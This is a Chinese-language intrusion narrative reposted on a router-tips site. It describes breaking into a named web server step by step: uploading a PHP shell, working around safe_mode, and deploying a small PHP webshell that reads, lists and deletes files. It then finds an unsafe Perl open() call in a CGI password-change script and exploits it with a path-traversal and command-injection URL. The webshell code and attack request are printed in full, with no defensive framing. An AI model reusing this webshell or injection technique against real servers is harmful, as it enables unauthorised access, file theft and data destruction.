争怎路由网:是一个主要分享无线路由器安装设置经验的网站,汇总WiFi常见问题的解决方法。

灵巧的脚本攻击

时间:2024/5/8作者:未知来源:争怎路由网人气:

1054035604

这个php文件可以让我们上传文件到有权限目录和删除有权限删除的文件。于是我们在本地写了一个表单,上传一个phpshell上去,然后访问

http://www.target.org/~shuaishuai/down_sys/data/sh.php

GOOD,返回了phpshell的界面...一阵高兴过后,我们才发现这个phpshell什么命令都不能执行,原来网站PHP打开了safe_mode功能,限制我们执行命令。但我们已经有了很大的突破了,可以向服务器上传文件了。接下来我们利用PHP丰富的内置函数写了很多小脚本上传测试,很不幸,系统利用 disable_functions 禁止了大部分的文件系统函数、目录函数...好在并没有赶尽杀绝,最后我们写了下面一个php程序来查看一些有权限查看的目录和文件:

<?
$c = $HTTP_GET_VARS["c"];
$f = $HTTP_GET_VARS["f"];
if($c=="file") {
$file=readfile($f);
echo $file;
}
if($c=="dir") {
$h=opendir($f);
while($file=readdir($h)) {
echo "$file\n";
}
}
if($c=="del") {
unlink($f);
}
?>

在做了很多尝试过后,我们发现在PHP上不能获得新的突破,好在我们可以利用上面那个php程序来查看www.target.org/cgi-bin/club/scripts/ 目录中程序脚本的完整的代码,于是我们决定改向回到起点、查看CGI文件,由于没有权限向可执行CGI程序的目录里写文件, 新写一个CGI程序来执行命令是不现实的,所以决定利用现有的.pl程序来插入命令,目标自然是放在perl的open函数上,于是我们开始查找哪些程序用了open函数,但找了好多.pl文件,都没有发现,但却看到有好多readfile()函数,记得perl里面是没有这个函数的,但这里却用了很多readfile(),为什么呢?这肯定是他们自已定义的一个函数,我们看到每一个.pl文件前几行都有一个use Club;原来这里有个模块,于是查看Club.pm,很快便发现了open函数.

sub readkey {
my($file)=@_;
unless(open(FH,"$file")) {
errmsg("对不起!你超时了,请<a href=\"$login_page\" target=\"_parent\">重新登陆</a>");
exit;
}
unless(flock(FH,LOCK_SH)) {
errmsg("Can't Lock File: $file");
}
my $data = <FH>;
close(FH);
return $data;
}

这就是那个自定义的readfile函数,证实了我们的猜想,而且也找到了一个符合要求的open函数,接着搜寻哪个文件调用了这个函数,很快我们在change_pw.pl这个程序里找到了这个函数调用,这个程序用来修改用户的密码,不幸的是代码在判断用户旧密码是否正确前就调用了 readkey() 函数:

my $key_info=readkey("$key_dir/$key");

于是提交

http://www.target.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22&key=../../../../../../../../bin/ls%20
>bbb%20

关键词:灵巧的脚本攻击




Copyright © 2012-2018 争怎路由网(http://www.zhengzen.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版